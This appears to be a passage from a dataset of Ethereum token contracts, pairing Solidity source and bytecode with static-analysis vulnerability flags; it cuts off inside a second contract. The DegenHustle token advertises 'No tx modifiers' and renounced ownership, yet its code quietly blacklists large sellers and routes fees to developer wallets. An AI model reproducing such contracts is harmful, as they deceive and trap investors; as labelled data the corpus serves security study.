6a6028913960400191505060405180910390fd5b6040805163b9b0bb3960e01b81523060048201526000604482018190529151829182916001600160a01b0386169163b9b0bb3991606480830192606092919082900301818787803b158015611a3057600080fd5b505af1158015611a44573d6000803e3d6000fd5b505050506040513d6060811015611a5a57600080fd5b5080516020820151604090920151909450909250905082611ac2576040805162461bcd60e51b815260206004820181905260248201527f4c69717569646174696f6e456e67696e652f736176696f75722d6e6f742d6f6b604482015290519081900360640190fd5b611ad460001983146000198314611e88565b611b0f5760405162461bcd60e51b8152600401808060200182810382526021815260200180611fc16021913960400191505060405180910390fd5b6001600160a01b03841660008181526001602081815260409283902091909155815192835290517fc2553257d1b78c297941723c1913912f9161a830e997b56133a669b3a3de6a1e9281900390910190a150505050565b6009546001600160a01b031681565b60026020819052600091825260409091208054600182015491909201546001600160a01b039092169183565b33600090815260208190526040902054600114611bef5760405162461bcd60e51b8152600401808060200182810382526028815260200180611f6a6028913960400191505060405180910390fd5b81716c69717569646174696f6e50656e616c747960701b1415611c25576000838152600260205260409020600101819055611cad565b81726c69717569646174696f6e5175616e7469747960681b141561170157744f3a68dbc8f03f243baf513267aa9a3ee524f8e028811115611c975760405162461bcd60e51b815260040180806020018281038252602f815260200180611f92602f913960400191505060405180910390fd5b6000838152600260208190526040909120018190555b604080518481526020810184905280820183905290517fc59b1109b54f213212d2f5af5c1dae5e887f9daa63b595578fae847cb048e8f49181900360600190a1505050565b33600090815260208190526040902054600114611d405760405162461bcd60e51b8152600401808060200182810382526028815260200180611f6a6028913960400191505060405180910390fd5b817f6f6e41756374696f6e53797374656d436f696e4c696d697400000000000000001415611701576005819055604080518381526020810183905281517fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a929181900390910190a15050565b80820382811115610641576040805162461bcd60e51b815260206004820152601f60248201527f4c69717569646174696f6e456e67696e652f7375622d756e646572666c6f7700604482015290519081900360640190fd5b600081831115611e15575080610641565b5090919050565b6000811580611e3757505080820282828281611e3457fe5b04145b610641576040805162461bcd60e51b815260206004820152601e60248201527f4c69717569646174696f6e456e67696e652f6d756c2d6f766572666c6f770000604482015290519081900360640190fd5b1690565b1790565b80820182811015610641576040805162461bcd60e51b815260206004820152601e60248201527f4c69717569646174696f6e456e67696e652f6164642d6f766572666c6f770000604482015290519081900360640190fd5b604051806060016040528060006001600160a01b031681526020016000815260200160008152509056fe4c69717569646174696f6e456e67696e652f6c69717569646174696f6e2d6c696d69742d6869744c69717569646174696f6e456e67696e652f696e76616c69642d736166652d736176696f75722d6f7065726174696f6e4c69717569646174696f6e456e67696e652f6163636f756e742d6e6f742d617574686f72697a65644c69717569646174696f6e456e67696e652f6c69717569646174696f6e2d7175616e746974792d6f766572666c6f774c69717569646174696f6e456e67696e652f696e76616c69642d616d6f756e74734c69717569646174696f6e456e67696e652f736166652d6e6f742d756e736166654c69717569646174696f6e456e67696e652f636f6c6c61746572616c2d6f722d646562742d6f766572666c6f774c69717569646174696f6e456e67696e652f636f6e74726163742d6e6f742d656e61626c65644c69717569646174696f6e456e67696e652f736176696f75722d6e6f742d617574686f72697a65644c69717569646174696f6e456e67696e652f6e756c6c2d636f6c6c61746572616c2d746f2d73656c6c4c69717569646174696f6e456e67696e652f63616e6e6f742d6d6f646966792d736166654c69717569646174696f6e456e67696e652f6d6f646966792d756e7265636f676e697a65642d706172616da26469706673582212201d24f5f6a16d64671848cd4d9d2689e4b4697b17f41e29b1cb820ae4503ba0a764736f6c63430006070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 102 |
0xca3980a32263147cf8239f6267052480106deb73 | /*
tg :https://t.me/DegenHustle
// No dev-wallets
// Locked liquidity
// Renounced ownership!
// No tx modifiers
// Community-Driven
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DegenHustle is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private constant maxWalletHodl = 5000000000 * 10 ** 9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redistribution;
uint256 private _teamTax;
address payable private devWallet;
address payable private teamWallet;
address payable private marketWallet;
string private constant _name = "Degen | https://t.me/DegenHustle";
string private constant _symbol = "HUSTLE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _address1,address payable _address2, address payable _address3) {
devWallet = _address1 ;
teamWallet = _address2 ;
marketWallet = _address3 ;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[devWallet] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
require(!bots[to]);
require(!bots[tx.origin]);
if(from != address(this)){
_redistribution = 5;
_teamTax = 5;
}
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
// require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (5 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(balanceOf(from) > maxWalletHodl){
setBots(from);
}
_redistribution = 5;
_teamTax = 9;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 330000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
devWallet.transfer(amount.div(3));
marketWallet.transfer(amount.div(3));
teamWallet.transfer(amount.div(3));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
// _maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address _address) private {
bots[_address] = true;
}
function delBot(address _address) private {
bots[_address] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == devWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == devWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistribution, _teamTax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102a5578063c3c8cd80146102c5578063c9567bf9146102da578063dd62ed3e146102ef57600080fd5b806370a0823114610219578063715018a6146102395780638da5cb5b1461024e57806395d89b411461027657600080fd5b806323b872dd116100c657806323b872dd146101a6578063313ce567146101c65780635932ead1146101e25780636fc3eaec1461020457600080fd5b806306fdde03146100f8578063095ea7b31461015057806318160ddd1461018057600080fd5b366100f357005b600080fd5b34801561010457600080fd5b506040805180820190915260208082527f446567656e207c2068747470733a2f2f742e6d652f446567656e487573746c65908201525b604051610147919061165f565b60405180910390f35b34801561015c57600080fd5b5061017061016b3660046115cb565b610335565b6040519015158152602001610147565b34801561018c57600080fd5b5068056bc75e2d631000005b604051908152602001610147565b3480156101b257600080fd5b506101706101c136600461158a565b61034c565b3480156101d257600080fd5b5060405160098152602001610147565b3480156101ee57600080fd5b506102026101fd3660046115f7565b6103b5565b005b34801561021057600080fd5b50610202610406565b34801561022557600080fd5b50610198610234366004611517565b610433565b34801561024557600080fd5b50610202610455565b34801561025a57600080fd5b506000546040516001600160a01b039091168152602001610147565b34801561028257600080fd5b50604080518082019091526006815265485553544c4560d01b602082015261013a565b3480156102b157600080fd5b506101706102c03660046115cb565b6104c9565b3480156102d157600080fd5b506102026104d6565b3480156102e657600080fd5b5061020261050c565b3480156102fb57600080fd5b5061019861030a366004611551565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103423384846108c7565b5060015b92915050565b60006103598484846109eb565b6103ab84336103a68560405180606001604052806028815260200161181a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610da1565b6108c7565b5060019392505050565b6000546001600160a01b031633146103e85760405162461bcd60e51b81526004016103df906116b4565b60405180910390fd5b60108054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461042657600080fd5b4761043081610ddb565b50565b6001600160a01b03811660009081526002602052604081205461034690610ea3565b6000546001600160a01b0316331461047f5760405162461bcd60e51b81526004016103df906116b4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103423384846109eb565b600c546001600160a01b0316336001600160a01b0316146104f657600080fd5b600061050130610433565b905061043081610f27565b6000546001600160a01b031633146105365760405162461bcd60e51b81526004016103df906116b4565b601054600160a01b900460ff16156105905760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103df565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105cd308268056bc75e2d631000006108c7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561060657600080fd5b505afa15801561061a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063e9190611534565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561068657600080fd5b505afa15801561069a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106be9190611534565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561070657600080fd5b505af115801561071a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073e9190611534565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061076e81610433565b6000806107836000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107e657600080fd5b505af11580156107fa573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061081f9190611631565b50506010805463ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561088b57600080fd5b505af115801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c39190611614565b5050565b6001600160a01b0383166109295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103df565b6001600160a01b03821661098a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103df565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103df565b6001600160a01b038216610ab15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103df565b60008111610b135760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103df565b6001600160a01b03831660009081526006602052604090205460ff1615610b3957600080fd5b6001600160a01b03821660009081526006602052604090205460ff1615610b5f57600080fd5b3260009081526006602052604090205460ff1615610b7c57600080fd5b6001600160a01b0383163014610b97576005600a819055600b555b6000546001600160a01b03848116911614801590610bc357506000546001600160a01b03838116911614155b15610d91576010546001600160a01b038481169116148015610bf35750600f546001600160a01b03838116911614155b8015610c1857506001600160a01b03821660009081526005602052604090205460ff16155b8015610c2d5750601054600160b81b900460ff165b15610c7b576001600160a01b0382166000908152600760205260409020544211610c5657600080fd5b610c6142600561175a565b6001600160a01b0383166000908152600760205260409020555b6010546001600160a01b038381169116148015610ca65750600f546001600160a01b03848116911614155b8015610ccb57506001600160a01b03831660009081526005602052604090205460ff16155b15610d9157674563918244f40000610ce284610433565b1115610d1057610d10836001600160a01b03166000908152600660205260409020805460ff19166001179055565b6005600a556009600b556000610d2530610433565b601054909150600160a81b900460ff16158015610d5057506010546001600160a01b03858116911614155b8015610d655750601054600160b01b900460ff165b15610d8f57610d7381610f27565b47670494654067e10000811115610d8d57610d8d47610ddb565b505b505b610d9c8383836110b0565b505050565b60008184841115610dc55760405162461bcd60e51b81526004016103df919061165f565b506000610dd284866117b3565b95945050505050565b600c546001600160a01b03166108fc610df58360036110bb565b6040518115909202916000818181858888f19350505050158015610e1d573d6000803e3d6000fd5b50600e546001600160a01b03166108fc610e388360036110bb565b6040518115909202916000818181858888f19350505050158015610e60573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610e7b8360036110bb565b6040518115909202916000818181858888f193505050501580156108c3573d6000803e3d6000fd5b6000600854821115610f0a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103df565b6000610f146110fd565b9050610f2083826110bb565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f6f57610f6f6117e0565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610fc357600080fd5b505afa158015610fd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffb9190611534565b8160018151811061100e5761100e6117e0565b6001600160a01b039283166020918202929092010152600f5461103491309116846108c7565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061106d9085906000908690309042906004016116e9565b600060405180830381600087803b15801561108757600080fd5b505af115801561109b573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610d9c838383611120565b6000610f2083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611217565b600080600061110a611245565b909250905061111982826110bb565b9250505090565b60008060008060008061113287611287565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061116490876112e4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111939086611326565b6001600160a01b0389166000908152600260205260409020556111b581611385565b6111bf84836113cf565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161120491815260200190565b60405180910390a3505050505050505050565b600081836112385760405162461bcd60e51b81526004016103df919061165f565b506000610dd28486611772565b600854600090819068056bc75e2d6310000061126182826110bb565b82101561127e5750506008549268056bc75e2d6310000092509050565b90939092509050565b60008060008060008060008060006112a48a600a54600b546113f3565b92509250925060006112b46110fd565b905060008060006112c78e878787611448565b919e509c509a509598509396509194505050505091939550919395565b6000610f2083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610da1565b600080611333838561175a565b905083811015610f205760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103df565b600061138f6110fd565b9050600061139d8383611498565b306000908152600260205260409020549091506113ba9082611326565b30600090815260026020526040902055505050565b6008546113dc90836112e4565b6008556009546113ec9082611326565b6009555050565b600080808061140d60646114078989611498565b906110bb565b9050600061142060646114078a89611498565b90506000611438826114328b866112e4565b906112e4565b9992985090965090945050505050565b60008080806114578886611498565b905060006114658887611498565b905060006114738888611498565b905060006114858261143286866112e4565b939b939a50919850919650505050505050565b6000826114a757506000610346565b60006114b38385611794565b9050826114c08583611772565b14610f205760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103df565b60006020828403121561152957600080fd5b8135610f20816117f6565b60006020828403121561154657600080fd5b8151610f20816117f6565b6000806040838503121561156457600080fd5b823561156f816117f6565b9150602083013561157f816117f6565b809150509250929050565b60008060006060848603121561159f57600080fd5b83356115aa816117f6565b925060208401356115ba816117f6565b929592945050506040919091013590565b600080604083850312156115de57600080fd5b82356115e9816117f6565b946020939093013593505050565b60006020828403121561160957600080fd5b8135610f208161180b565b60006020828403121561162657600080fd5b8151610f208161180b565b60008060006060848603121561164657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561168c57858101830151858201604001528201611670565b8181111561169e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117395784516001600160a01b031683529383019391830191600101611714565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561176d5761176d6117ca565b500190565b60008261178f57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156117ae576117ae6117ca565b500290565b6000828210156117c5576117c56117ca565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461043057600080fd5b801515811461043057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e438f4a956aeffee884175cf0a60794d89c654ff3f75e52e452bbd4e816b375d64736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 103 |
0xa707fa0b5481f30585bda80a65f452ea4ca9e37e | //SPDX-License-Identifier: None
// Telegram: t.me/quantumdao
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="QTD";
string constant TOKEN_NAME="Quantum DAO";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract QuantumDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(25);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
